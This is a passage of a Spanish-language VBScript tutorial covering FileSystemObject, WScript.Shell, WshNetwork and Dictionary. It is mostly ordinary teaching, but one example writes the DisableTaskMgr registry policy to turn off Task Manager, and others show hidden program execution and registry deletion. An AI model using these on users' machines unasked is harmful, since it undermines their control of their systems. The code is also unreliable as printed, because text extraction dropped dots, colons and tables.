la variable, podemos utilizarlo directamente para mostrar sus atributos, que no será más que un número que

englobará todas las constantes de los atributos. Las constantes que hacen referencia a los atributos de archivo son:

Como comentaba antes, attributes devolverá un valor único que será la sumatoria de cada uno de los valores para

cada atributo del archivo. Como ejemplo: Un archivo que tenga atributos de; solo lectura, oculto, de sistema, y de

archivo, tendrá un valor de 1+2+4+32= 39

Cambiar atributos

Set variable = objfso.getfile(ruta)

variable.attributes = sumaatributos Ejemplo:

Set objfso = createobject(“scripting filesystemobject”)

Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf

archivo.attributes = 34 ‘attributo dearchivo y oculto

Page 139: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 139

El cambiar atributos consiste simplemente en asignar un valor a attributes.

En el ejemplo anterior he puesto como valor 34 que representa atributos de archivo y oculto. Propiedades de archivos y carpetas

Así como podemos obtener y modificar los atributos de los archivos y carpetas, podemos acceder a determinadas

propiedades de los mismos, entre ellas:

• Nombre; name

• Nombre corto; shortname

• Tamaño; Size

• Ruta completa; path

• Ruta corta; shortpath

• Fecha de creación/modificación/último acceso; datecreated, datelastmodified, datelastaccessed

• Tipo de archivo; type

• Carpeta contenedora; parentfolder Estas son las principales propiedades a las que podemos acceder, lo cual se hará de la siguiente forma:

Set variable = objfso.getfile(ruta)

Msgbox variable.propiedad Ejemplo: Set objfso = createobject(“scripting filesystemobject”)

Set archivo = objfso getfile(“C \tutorial pdf”) ‘obtenemos el control sobre el archivo pdf

Msgbox archivo.size ‘tamaño del archivo en bytes

Para obtener otras propiedades, simplemente sería cuestión de cambiar “size” por alguna de las otras propiedades a

las que tenemos acceso (les recomiendo probar con cada una para ver los resultados), y de igual manera, se haría con

carpetas en lugar de archivos, para lo que solamente tendríamos que cambiar getfile, por getfolder .

Listar subcarpetas

Con listar subcarpetas, nos referimos a, acceder a la colección de subcarpetas de una carpeta “X”, para trabajar con

cada una de ellas de manera independiente. Cuando hablamos de colección, hacemos referencia a un array, en el que

están todos los elementos contenidos en un determinado “listado” Set variable = objfso.getfolder(ruta)

Set subvariable = variable.subfolders Ejemplo:

Set objfso = createobject(“scripting filesystemobject”)

Set micarpeta = objfso getfolder(“C \Carpeta”) ‘obtenemos el control sobre la carpeta

Set subcarpetas = micarpeta.subfolders ‘obtenemos la colección de subcarpetas

For each s in subcarpetas ‘por cada carpeta(s) en la colección(subcarpetas)

Msgbox s.name ‘mensaje con el nombre

Next ‘pasamos a la siguiente subcarpeta

Bueno, como se ve en este caso, el acceder a las subcarpetas no es totalmente directo, sino que, en un principio, obtenemos la colección (array) de carpetas, para luego trabajar con cada una de ellas por medio de un for que recorre toda la colección.

Page 140: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 140

Al listar subcarpetas, se debe de terner en cuenta además, que la colección, solamente contiene, las carpetas del

primer nivel, y no las que se encuentran en los niveles consiguientes, para que quede más claro: C:\carpeta

C:\carpeta\nivel1

C:\carpeta\nivel1\nivel2 Si listamos la colección de subcarpetas en la carpeta “C:\carpeta ”, obtendremos todas las del nivel 1 , pero no las del

nivel 2, para eso, deberíamos de implementar otro for que haga referencia a estas.

Listar discos/particiones Al igual que para listar subcarpetas, para listar discos y particiones lo haremos a traves de una colección, por lo que en

realidad, será muy similar al punto anterior. Set variable = objfso.getfolder(ruta)

Set discos = variable.drives Ejemplo: Set objfso = createobject(“scripting filesystemobject”)

Set discos = objfso.drives ‘obtenemos la colección de discos

For each d in discos ‘por cada disco(d) en la colección(discos)

Msgbox d.driveletter ‘mensaje con la letra de disco

Next ‘pasamos al siguiente disco

Como ya se había dicho, el método de listar los discos y particiones, es el mismo que para obtener las subcarpetas de

una carpeta, por lo que no debería de presentar ningún problema el hacerlo. También aclarar, que en el anterior

ejemplo, solo he incluído una propiedad que no se había visto anteriormente, y esta es la de driveletter , y que como ya

se habrán dado cuenta, hace referencia a la letra que tiene asignado el disco o partición en el sitema, por lo que una

vez mencionado esto, pasaremos justamente, a identificar, cuales son las propiedades de disco a las que tendremos

acceso.

Propiedades de disco Como hemos visto en el anterior punto, a traves del objecto FSO es posible acceder a la colección de discos, así como

a sus propiedades, siendo estas propiedades, las siguientes:

• Letra; driveletter

• Nombre del disco; volumename

Espacio disponible; availablespace

• Espacio libre; freespace

• Espacio total; totalsize

• Disponibilidad; isready

• Ruta; path

• Sistema de ficheros (NTFS, FAT, CDFS); filesystem

• Carpeta principal; rootfolder

• Número de serie; serialnumber

• Nombre compartido; sharename

• Tipo de disco; drivetype

Page 141: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 141

Ejemplo: no pondré en este caso, ya que es sería igual al que he puesto anteriormente.

Por otra parte, solamente profundizaré en una de las propiedades de los discos (creo que las otras son fácilmente

identificables), y es justamente, la última que he enumerado, drivetype

El tipo de disco de un disco (valga la redundancia), puede estar entre los siguientes:

También he de acotar, que la disquetera (Unidad A), es reconocida como disco extraíble, así como también ocurre, con

las unidades virtuales, ej; aquellas carpetas montadas con el comando SUBST de ms-dos. Rutas de carpetas

Por último, pero no menos importante, debo de comentar que el objecto FSO, permite obtener la ruta de tres de las

carpetas más importantes del sistema, como lo son:

• Windows (0)

• System32 (1)

• Temp (2) Para acceder a ellas, haremos uso de la función getspecialfolder .

Set variable = objfso.getspecialfolder(constante) Ejemplo: Set objfso = createobject(“scripting filesystemobject”)

Set micarpeta = objfso.getspecialfolder(0) ‘obtenemos el control sobre la carpeta

Msgbox micarpeta.path ‘mensaje con la ruta de la carpeta Como se ve en ejemplo, en este caso, nos hacemos con el control de la carpeta de windows, y luego mostramos su

ruta, para poder accesar a las carpetas, las constantes son las que he indicado en un entre parentesis en un principio, al

nombrar las carpetas. Bueno, con esto hemos terminado con el objeto FSO, pasemos entonces al segundo y principal

objeto, la shell.

Shell (wscript.shell)

A través de este objeto podemos entre otras cosas:

• Mostrar mensajes temporizados

• Leer, borrar, y escribir en el registro de windows

• Ejecutar aplicaciones (dos métodos)

• Obtener el foco de una ventana

• Enviar pulsaciones de teclado

• Acceder multiples carpetas de sistema

• Obtener variables del sistema

• Crear accesos directos

Page 142: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 142

Mostrar mensajes temporizados Esta es la menos importante de todas las funciones de este objeto, pero no deja de ser útil en algunas ocasiones, sobre

todo, si no queremos que un proceso se bloquee, solo por intentar mostrar un mensaje. Para que quede más claro, a lo

largo de todos los ejemplo que he puesto, he ido mostrando determinados mensajes a traves de la función de msgbox

(opción básica). Los mensajes generados con dicha función, no salen de pantalla, hasta bien el usuario, no da click en

el/los botones que tiene el cuadro de mensaje, por lo que en caso de utilizar un mensaje de este tipo, la ejecución de

nuestro script, se parará hasta bien este no salga de pantalla. Pero en lugar de utilizar este tipo de mensaje, podemos hacer uso de una ventana popup , la cual desaparecerá sola al

cabo del tiempo que hayamos especificado, luego de lo cual, continuará la ejecución del script.

Modo en el que se emplea esta ventana: Variableventana = variable.popup(texto, tsegundos, título, botones) Ejemplo: Set objshell = createobject(“Wscript shell”)

rventana = objshell popup(“Este es un mensaje de prueba”,3,”Mensaje Popup”,64) El resultado;

Para empezar, se puede apreciar que el objeto shell, se declara con Wscript.shell, y bueno, lo referente al mensaje,

creo que una imagen dice más que mil palabras, hemos mostrado un mensaje en pantalla, el cual al cabo de 3

segundos, desaparecera y dará paso al resto de nuestro script.

Notese algo, y es que para los “botones” he puesto el valor 64, este valor, hace referencia a la sumatoria de los botones e iconos que aparecen en la ventana de mensaje, siendo los mismos:

En el caso de mi mensaje, el 64 corresponde a la suma del botón de ok (cero) y el icono de información (64).

Si quisieramos mostrar un mensaje de Si, No y Cancelar, con un icono de pregunta, deberíamos de poner como valor el

número 35 (3+32).

Page 143: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 143

Por otro lado, también vemos en el ejemplo como el popup, se guarda en una variable de nombre rventana . En

dicha variable, se guarda el valor de la respuesta dada al mensaje, es decir, para el caso de un mensaje con los

botones de Si, No y Cancelar, la variable rventana guardaría el valor de cual de esos botones fue presionado por el

usuario, siendo estas las posibilidades: Es decir, que en caso de que la persona presione Si, el resultado obtenido será

6, esto puede servirnos de mucho si queremos darle un poco de interactividad a nuestros scripts y tomar diferentes

caminos en virtud de las respuestas de los usuarios, lo cual puede ser utilizado junto a las funciones de msgbox (para

esta también valen los botones e iconos) e inputbox, aunque a pesar de la mención las veremos en detalle, ya que no

dependen de ningún objeto, y son de fácil comprensión. Leer, borrar y modificar el registro de windows

Sin lugar a dudas, es una de las funciones más atractivas de este objeto, y su implementación no implica ninguna

dificultad, y aún así, la implementación de esta función, no presenta ninguna dificultad. Leer valores

variable.regread(llave de registro) Ejemplo:

Set objshell = createobject(“wscript shell”)

Msgbox objshell.regread("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures") ‘va todo en una misma línea, la llave es muy larga Sencillo de entender, a través del objeto shell llamamos a la función regread , encargada de leer las llaves del

registro, en este caso, he optado por una llave un tanto larga, pero que contiene la ruta de la carpeta de “mis imágenes”, al igual que en otros ejemplos, muestro el valor por medio de un msgbox , pero como en todos los casos,

es posible guardar este valor en una variable para luego trabajar con ella. Borrar valores

variable.regdelete(llave de registro) Ejemplo:

Set objshell = createobject(“wscript shell”)

objshell.regdelete("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\My Pictures")

Al igual que para leer, el borrar cadenas no tiene nada de especial, sino que simplemente debemos de llamar a la

función regdelete para deshacernos de la cadena en cuestión.

Page 144: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 144

Escribir/modificar el registro

Algo que de seguro le interesará a varios.

variable.regwrite(llave de registro, valor, tipo de dato) Ejemplo: Set objshell = createobject(“wscript shell”)

objshell.regwrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWOR

D") ‘va todo en una misma línea, la llave es muy larga En este ejemplo, estaríamos modificando la llave del registro que deshabilita el administrador de tareas (taskmgr). Los datos que debemos de pasarle a esta función son; la llave a modificar/crear claro esta, el valor que le daremos, en

mi ejemplo ha sido 1, y el tipo de datos que estamos ingresando. Como muchos sabrán, el registro de windows soporta

ciertos tipos de datos en las diferentes claves de las que hace uso, a saber:

Existe un quinto tipo de datos, el REG_MULTI_SZ, pero no es soportado por esta función.

Tener en cuenta que regwrite puede tener problemas con cadenas demaciado largas, y considerar también, que tal

como he puesto en el título, regwrite creará una llave en caso de no existir, y la modificará en caso de que ya esté

presente. También he de recomendar que en caso de trabajar con el registro se ha de tener mucho cuidado, y que

quererse dejar el code más legible, se utilicen las siguientes abreviaciones (lo he hecho en mi ejemplo):

Ejecutar aplicaciones

Como he comentado antes, a traves de este objeto existen dos métodos diferentes de ejecutar aplicaciones,

loscuales además, tendrán diferentes opciones y resultados. Método Run Este es el más simple y usado de los dos métodos. variable.run rutaprograma, estadoventana, espera Ejemplo: Set objshell = createobject(“wscript shell”)

Objshell run “notepad”, 1, true En este caso ejecutamos el bloc de notas, en modo normal, y establecemos, que el script se pause (true) hasta que se

cierre la aplicación (notepad).

Page 145: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 145

Los estados en los que se puede abrir la ventana, van del 0 al 10, pasando por oculto, maximizado y minimizado, entre

otros, pero pasaré de explicar cada uno de ellos ya que resulta mejor opción probar y ver el resultado, que lo que podría

ser la explicación.

Lo que si cabe destacar, es el estado 0 (cero) o vbhide, que ejecuta una aplicación en modo oculto , sin

mostrar ningún tipo de ventana. Probar por ejemplo sustituyendo el número 1 por vbhide en el ejemplo que he dejado,

para ver (en realidad no se verá nada) como se ejecuta el notepad sin mostrar ninguna ventana (si se verá el proceso

en el administrador de tareas). Tener en cuenta además, que el estado de la ventana, y la espera del programa, son

totalmente opcionales , así que con poner simplemente objshell run “notepad” hubiese alcanzado. Método Exec Este método es muy similar al anterior, solamente que nos permite un mayor control sobre la aplicación que

estamos corriendo, con la excepción de que no nos permite seleccionar estado de la ventana. variable.exec(rutaprograma)

Ejemplo: Set objshell = createobject(“wscript shell”)

Objshell Exec(“notepad”) Como vemos, el método en el que se ejecuta la aplicación es practicamente igual al anterior, solamente hemos

sutituído run por exec y no hemos pasado ningún parámetro a la función, pero ahora veamos que es lo que o hace

diferente del otro método.

• Status

• ProcessID

• Terminate

• Stdin, Stdout, Stderr Estas serían las funciones que diferencian el exec del run, todas estas se aplican sobre la aplicación/comando que

estamos ejcutando, por lo que, para hacer uso de esta funcionalidad, es necesario ejecutar la aplicación, y asignar la

misma a una variable para luego trabajar a traves de esta. Veamos esto, junto a la explicación de status y processid. El status identifica el estado de la aplicación ejecutada, 0 (cero) representa una aplicación en ejecución, y 1 (uno),

indentifica que la aplicación fue cerrada y su proceso ya no se encuentra presente. Con respecto al processid, creo que

salta a la vista la función del mismo, no es más que el identificador de proceso (PID). Ejemplo: Set objshell = createobject(“wscript shell”)

Set bloc = Objshell Exec(“notepad”)

Msgbox bloc.status

Msgbox bloc.processid

En este ejemplo, ejecutamos el bloc de notas, asignando su proceso a la variable “bloc” , y luego mostramos dos

mensajes, uno con el status (debería de ser 0), y otro con el número de proceso.

La función status nos servirá en definitiva, para poder monitorear nuestro proceso, y realizar una determinada

acción en función de si permanece abierto, o bien, lo han cerrado. Ejemplo:

Set objshell = createobject(“wscript shell”)

Set bloc = objshell Exec(“notepad”)

Do while bloc.status = 0

Page 146: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 146

Wscript.sleep 200 ‘sirve para hacer una pausa de x milésimas de segundo

loop

msgbox “Se ha cerrado el bloc de notas” Pasemos entonces a terminate Esta función, permite terminar el proceso que habíamos iniciado, por lo que por su nombre era fácil predecirlo Ejemplo: Set objshell = createobject(“wscript shell”)

Set bloc = objshell Exec(“notepad”)

Wscript.sleep 5000 ‘Pausa de 5000 milésimas, o 5 segundos

bloc.terminate

Abrimos el bloc de notas, realizamos una espera de 5 segundos, y cerramos el bloc de notas, fácil. Pasando ahora a las últimas funciones de exec; stdin, stdout, stderr, debo de aclarar que estas funciones pueden ser

utiles a la hora de trabajar en línea de comandos, pero dado que en línea de comandos hay mejores maneras (a mi

criterio) de hacerlo, obviaré la explicación de dos de estas funciones, y solo le daré importancia a stdout que si

puede facilitarnos la tarea en la ejecución de comandos de ms-dos. Stdout nos muestra la salida de un los comandos ejecutados a traves de exec , y para que se entienda mejor, pasare

directamente a un ejemplo;

Set objshell = createobject(“wscript shell”)

Set ping = objshell.exec(“cmd /c ping www google com”)

Msgbox ping.stdout.readall

El resultado:

En este ejemplo, hemos ejecutado un ping a google a traves del cmd, y luego por medio de stdout y su readall

hemos leído el contenido completo de la salida del comando y lo hemos mostrado en un msgbox. También, en lugar de

readall podemos utilizar read(x) , donde x es el número de caracteres que queremos leer. En un ejemplo un poco mas

“elaborado”, haremos lo mismo que antes, pero esta vez haciendo uso de read , leeyendo el texto completo, pero

carácter a carácter. Set objshell = createobject(“wscript shell”)

Page 147: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 147

Set ping = objshell exec(“cmd /c ping www google com”) do

if not ping.stdout.atendofstream then respuesta = resultado & ping.stdout.read(1)

else exit do

end if loop msgbox respuesta

Este ejemplo, es un poco más dificil de explicar, así como también lo es entender, por lo que quien quiera entenderlo

deberá prestar atención y visualizarlo detenidamente.

En resumen, ejecutamos el ping a google, y luego nos metemos en un bucle infinito (do), dentro de este, un análisis

condicional, si no se alcanza el final de la salida (stdout.atendofstream ), la variable respuesta, es igual a la propia

variable y un carácter (concatenamos). Ese analisis se continuará haciendo hasta que se alcance el final de la lectura,

es ahí donde entonces, pasamos al else , y el else dice que, se sale del bucle do (exit do ).

Por lo que en definitiva, el if se ejecutará una y otra vez, e ira guardando en la variable (respuesta) letra por letra hasta

formar el mensaje completo, cuando se llegue al final, se saldrá del bucle, y se mostrara el msgbox con la

“respuesta” Un poco más complicado, pero espero se entienda la idea de este ejemplo.

Obtener el foco de una ventana Variable.appactivate tituloventana Ejemplo: Set objshell = createobject(“wscript shell”)

Objshell appactivate “Sin título”

Con esto, obtendríamos el foco de una ventana con por ejemplo, el título “Sin título – Bloc de notas”, que como se

habrán dado cuenta, es el título que tiene un nuevo bloc de notas. Las consideraciones que debemos de tener en

cuenta al utilizar esta función, son las referentes al orden en el que realiza las comparaciones en busca de nuestra

ventana;

Primero busca la ventana que tiene el título exacto que hemos establecido. Si no encuentra el título exacto, busca

aquella ventana que coincida en el principio del título. Si no encuentra ni el título exacto, ni tampoco encuentra título

que comience como el nuestro, entonces busca aquel que termina como el que queremos. También, en el caso de

haber varias ventanas con el mismo nombre, elegira una cualquiera al azar, y le dará el foco.

Enviar pulsaciones del teclado

Otra de las funciones llamativas de este objeto, es la función sendkeys que nos permitirá enviar pulsaciones de

teclado, como si estuviesemos escribiendo, así que hay que tener cuidado con el uso que se da, ya que una vez

ejecutada, enviará las pulsaciones a la ventana activa, por lo que si no es lo que deseabamos, podemos terminar

presionando un montón de teclas en un programa x, con los resultados que ello puede acarrear. Variable.sendkeys teclas Ejemplo: Set objshell = createobject(“wscript shell”)

Objshell sendkeys “Estas son las teclas” Este es un ejemplo muy simple ,que además no recomiendo probar, ya que como he dicho antes, enviará las

pulsaciones de las teclas a la ventana activa, y los resultados pueden no “gustarnos”

Page 148: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 148

Es por eso que a continuación muestro un ejemplo más claro de esta función, haciendo uso además, de funciones que

hemos visto anteriormente. Set objshell = createobject(“wscript shell”)

Set bloc = objshell exec(“notepad”) ‘ejecutamos el bloc de notas

Wscript.sleep 2000 ‘espera de dos segundos

Objshell.appactivate bloc.processid ‘ponemos el foco en la ventana del bloc

Wscript.sleep 200 ‘espera de mílesimas

Objshell sendkeys “Tutorial vbs” ‘enviamos un mensaje con sendkeys

Objshell sendkeys “ ENTER ” ‘luego del mensaje anterior, un ENTER

Wscript.sleep 2000 ‘nueva espera de dos segundos

Objshell sendkeys “Probando la funcion sendkeys” ‘enviamos una segunda línea de mensaje

Como había dicho, en este ejemplo he hecho uso de algunas otras fuciones vistas anteriormente. Para empezar he optado

por ejecutar el bloc de notas a traves de la función exec , podría optarse por run, pero este ejemplo me servía para

mostrarles el uso que puede hacerse del processid . Como vemos, a la hora de obtener el foco de la ventana con

appactivate, he puesto como “título” el processid , ya que vbs nos permite hacer uso conjunto de estas dos

funciones, para de este modo asegurarnos de que el foco se ponga en la ventana que corresonde y no en otra con

similar nombre. Al igual que antes, podríamos poner simplemente el nombre de la ventana del bloc de notas en lugar de

processid, pero igualmente creo no quedarán dudas de por que el uso de esta.

Luego, con respecto al envío de las teclas, no creo que merezca

explicación alguna, ya que es simplemente el mensaje/pulsación que

queremos envíar. Igualmente habrán visto en medio del envío de teclas

que también esta presente una tecla especial, el {ENTER}, es por eso

que dejo a continuación, la tabla con el listado de argumentos para

estas teclas:

Para el caso de las teclas SHIFT, CTRL y ALT, los argumentos con +, ^

y % respectivamente, no siendo posible utilizar,

la tecla PRTSC, o lo que es igual, la tecla de PRINT (la que se utiliza para capturar pantalla). Para utilizar estas tres letras;

Objshell sendkeys “+ ”

Objshell sendkeys “^V”

Objshell sendkeys “% T B ”

Page 149: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 149

Carpetas “especiales”

Con carpetas especiales me refiero a aquellas carpetas como “Inicio”, “Enviar a” y “Favoritos” entre otras Para eso,

haremos uso de la función specialfolders. Variable.specialfolders(carpeta) Ejemplo: Set objshell = createobject(“wscript shell”)

Msgbox objshell specialfolders(“Desktop”)

Con lo que obtendríamos un msgbox, con la ruta del escritorio, algo como “C \Documents and Settings\Novlucker\Escritorio”, de igual modo y como he mencionado antes, podemos acceder a las rutas de otras carpetas, para lo que, contamos con la siguiente tabla.

Con esta tabla, solo bastaría cambiar “desktop” en nuestro ejemplo, para ver las rutas de otras de las carpetas

disponibles, y nótese también que si bien, algunas carpetas parecen estar repetidas, algunos identificadores hacen

referencia a las carpetas de todos los usuarios, y otras a la del usuario activo.

Obtener variables de sistema Bueno, habrán visto entonces, que a pesar de la cantidad de carpetas de las que se puede obtener la ruta, hay

algunas muy interesantes que no aparecen con el specialfolders, como ser “ rchivos de programa”, la carpeta de

usuario, etc. , es por eso que entonces, haremos uso de la función expandenvironmentstrings.

Este función, y como se ha adelantado en el título, permite acceder a todas las variables del sistema, como ser, USERNAME, USERPROFILE, COMPUTERNAME, y todas aquellas que aparecen a través del comando SET de ms-dos.

Variable.expandenvironmentstrings(%variablesistema% )

Ejemplo:

Set objshell = createobject(“wscript shell”)

Msgbox objshell expandenvironmentstrings(“%Programfiles%”)

Page 150: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 150

Como es de esperarse, en este caso, nos aparecerá un mensaje con la ruta de la carpeta de “ Archivos de programa”.

Crear accesos directos Bueno, luego de haber visto ya, varias funciones, solo queda por ver, la de createshortcut , la cual permite crear

accesos directos a cualquier aplicación/archivo, quizás parezca una función un poco “insulsa”, pero quizás alguien

quiera por ejemplo, agregar un acceso directo en la carpeta de Inicio , y será aquí cuando recurramos a esta función.

En esta función es necesario definir varios valores, así que en lugar de explicarla, pasaré directamente a un

Ejemplo:

Set objshell = createobject(“wscript shell”)

Set ellink = objshell createshortcut(“C \Acceso directo lnk”) ‘creamos el link

Ellink targetpath = ”C \windows\notepad exe” ‘completamos los valores

Ellink.windowstyle = 1

Ellink hotkey = “CTRL+SHIFT+N”

Ellink iconlocation = “C \windows\notepad exe,0”

Ellink description = “ cceso directo a notepad”

Ellink workingdirectory =”C \”

Ellink.save ‘guardamos el link

Creo que este ejemplo alcanza para entender sin problemas esta función, no hacemos más que crear el link,

completamos todos los datos que lleva el link, y salvamos. Los campos a completar son los que aparecen en cualquier

link (imagen adjunta), teniendo en cuenta demás que no todos son indispensables. Falta agregar, que pueden crearse

links a páginas web’s del siguiente modo.

Ejemplo:

Set objshell = createobject(“wscript shell”)

Set weburl = objshell createshortcut(“C \google url”)

Weburl.targetpath = http://www.google.com

Weburl.save

Simplemente hemos cambiado la extensión del link a url , en lugar de lnk como tenía antes, y la ruta del link pasa a ser

la dirección de la web a la que queremos acceder.

WshNetwork

Como lo dice su nombre, este objeto nos permitirá realizar determinadas acciones en red:

• Listar unidades de red • Mappear o remover unidades de red

Page 151: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 151

• Listar impresoras de red • Conectar y desconectar a impresoras en red • Obtener datos básicos de red

Como vemos en este pequeño resumen, las funciones de este objeto son todas las que hacen referencia a una red, y se

declara por medio de “wscript network” Pasemos entonces a ver cada una de sus funciones.

Listar unidades de red

Como vimos anteriormente, sería posible listar las unidades de red, por medio del objeto FSO y su función drives , pero

el caso es que obtendríamos solamente la letra de la unidad, no así con el objeto network, con el cual además,

podemos conseguir la ruta de red de la unidad.

Set objnet = createobject(“wscript.network”)

Set variable = objnet.enumnetworkdrives Ejemplo: Set objnet = createobject(“wscript network”)

Set netdrive = objnet.enumnetworkdrives ‘Colección de unidades de red

For each n in netdrive

Msgbox n

next Este ejemplo, no será nada extraño, ya que se utiliza el mismo método que al listar los discos con FSO, es decir,

declaramos el objeto, y luego a través de este, obtenemos una colección de unidades, en este caso, unidades de red,

para luego por medio de un for , recorrer cada uno de los elementos de la colección. En el caso del objeto network, la

colección resulta un tanto especial, y esto es porque esta colección, esta formada por pares de elementos. Con pares de elementos quiero decir que; si listamos todos los elementos, tendremos primero una unidad (letra), y

luego la ruta de red, segundo, otra unidad, y luego, su respectiva ruta de red, etc. Por lo que dicho de otra forma, todos

los índices pares del array, son letras, y todos los impares, son rutas de red. Por lo que, analizando nuestro ejemplo, el msgbox mostraría algo como; X:, \\servidor\usuarios, Y:,

\\pcremota\compartido, Z:, \\varios\musica, cada uno de estos, en una ventana de mensaje diferente.

Veamos entonces otro ejemplo, uno donde se vea, como podemos mostrar unas, u otras, es decir, o bien letras, o bien

rutas. Ejemplo: Set objnet = createobject(“wscript network”)

Set netdrive = objnet.enumnetworkdrives

For i = 0 to netdrive.count -1 step 2

Msgbox netdrive(i)

Next ‘en este ejemplo se mostrarán solo las letras

Para empezar, las dos primeras líneas no muestran nada raro, simplemente se declara el objeto, y se obtiene la

colección, sí que pasemos al for que es donde se ve algo distinto. Como vemos, iniciamos la variable i en 0 (cero), esto

es porque como sabemos, los array comienzan en este valor y además, el primero de ellos debe de ser una letra.

Luego, fijamos el límite por medio de la función count , la cual nos muestra cuantos elementos contiene la colección

(aplicable a todas las colecciones), y luego a este valor, le restamos 1, ya que también como hemos dicho antes, los

array comienzan por cero, por lo que si la colección contiene 6 elementos, el array irá desde 0 hasta 5.

Page 152: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 152

Y por último, recorremos el for de dos en dos (lo cual indicamos con step 2 ) y mostramos un mensaje con la letra.

Al igual que antes, sugiero mirar detenidamente el script para entenderlo mejor, ya que muchas veces, el explicarlo

resulta bastante largo para tan pocas líneas de texto. Mappear unidades de red

Variable.mapnetworkdrive(letra, rutaremota, actuali zarperfil, usuario,contraseña) Ejemplo:

Set objnet = createobject(“wscript network”)

Objnet mapnetworkdrive “G ”, \\pcremota\compartido Los dos primeros parámetros son, la letra a la que mappearemos la unidad remota (con el dos puntos incluído), y la ruta

remota. Los otros tres parámetros son; true o false para seleccionar si queremos guardar el mappeado solamente

para nuestro usuario, y los otros dos, usuario y contraseña en caso de que accedamos a la unidad con los datos un

usuario distinto al que ha iniciado sesión (con el que estamos trabajando). En este ejemplo, solamente he utilizado los dos primeros parámetros ya que los otros tres son opcionales.

Remover unidades de red Variable.removenetworkdrive(letra, forzar, actualiz arperfil) Ejemplo: Set objnet = createobject(“wscript network”)

Objnet removenetworkdrive “G ”, true Este no requiere de mucha explicación, simplemente removemos una unidad de red, para eso, seleccionamos la

unidad, true o false para forzar o no, y al igual que antes, si se actualiza o no el perfil de usuario. Listar impresoras en red

Este método es prácticamente igual al de listar unidades de red, solamente que se cambia la función. Set variable = objnet.enumprinterconnections

Ejemplo: Set objnet = createobject(“wscript network”)

Set netprinter = objnet.enumprinterconnections ‘Colección de impresoras

For each n in netprinter

Msgbox n next Al igual que para el caso de las unidades de red, este array también viene en pares, donde el primer valor es la

localización remota (IP), y la segunda, es el nombre con el que tenemos configurada nuestra impresora (al contrario de

cómo pasaba con las unidades de red, donde primero esta la unidad local, y luego la ruta remota). Nota: Complementos como drivers que agregan una impresora para imprimir en pdf, también son mostrados como

remotos. Las direcciones IP aparecen como IP_x_x_x_x

ej: IP_192_168_15_3

Page 153: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 153

Conectar a impresora en red También es muy sencillo y similar a lo visto anteriormente Variable.addprinterconnection(nombrelocal, rutaremo ta, actualizarperfil, usuario,contraseña) Ejemplo: Set objnet = createobject(“wscript network”)

Objnet.addprinterconnection “LPT1”, \\servidor\impresoracompartida

Al igual que antes, simplemente pasamos como parámetros los datos “locales” y “remotos”, y solamente los dos

primeros parámetros, ya que los otros son opcionales. Desconectar impresora en red

Para desconectar una impresora en red, haremos uso de la función removeprinterconnection Variable.removeprinterconnection(nombre, forzar, ac tualizarperfil)

Ejemplo: Set objnet = createobject(“wscript network”)

Objnet.removeprinterconnection \\servidor\impresoracompartida, True, True Como nombre de impresora, se puede pasar direcciones de red, como lo he hecho en este ejemplo, o bien rutas de

impresoras locales, como lo sería LPT1 Información de red

A través de este objecto podemos acceder a algunos datos de red:

• Usuario; Username

• Dominio; Domain

• Nombre de la PC; Computername

Si han leído la parte anterior del tuto, sabrán que se puede acceder a las variables del sistema (comando SET de ms-

dos) por medio del objeto wshshell, por lo que también podríamos acceder a estos datos, por lo que este método se

presenta como una alternativa más dentro del wsh.

variable.dato

Ejemplo:

Set objnet = createobject(“wscript network”)

Msgbox objnet.username

Msgbox objnet.userdomain

Msgbox objnet.computername

En definitiva y como se ve en el ejemplo, solo hay que utilizar el objeto con su respectiva propiedad.

Nota: Si no se esta en un dominio, el userdomain y computername tendrán el mismo valor.

Dictionary En esta oportunidad, veremos un sencillo objeto de los varios que tiene el wsh, este es el Dictionary A través de este podremos crear un array con sinónimos de palabras, es decir, que al pasarle una palabra “X” como

Page 154: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 154

parámetro, nos devolverá la palabra “Y” asociada.

Lamentablemente solo puede tratarse en un sentido la asociación de estas palabras, es decir que en base al anterior

ejemplo, si pasamos en lugar de “X”, “Y”, no obtendremos como valor “X”, no si no se declara aparte esta asociación. La estructura de este objeto es realmente muy sencillo he incluso escueto, ya que no cuenta con muchos

métodos/propiedades. Para declarar el objeto lo haremos a través de Scripting.Dictionary Las acciones básicas sobre este objeto son;

• Agregar elementos • Listar elementos • Listar elementos asociados • Determinar si un elemento ya existe • Borrar elementos (uno/todos)

Como se ve, no es mucho el contenido de este objeto, pero igualmente puede ser de utilidad, sobre todo cuando

queremos tener un código más legible sin necesidad de hacer uso de bucles select case o if. Agregar elementos

Para agregar elementos al diccionario, solamente hay que hace una asignación de cada uno de ellos, por medio de la

función add:

Set objdic = createobject(“scripting.dictionary”) objdic.add variable, vasociada Ejemplo: Set objdic = createobject(“scripting.dictionary”)

objdic.add “1ero”, “Primero”

objdic.add “2do”, “Segundo”

objdic.add “3ero”, “Tercero” En el ejemplo se han declarado 3 elementos (1ero, 2do, 3ero), cada uno con un segundo elemento asociado.

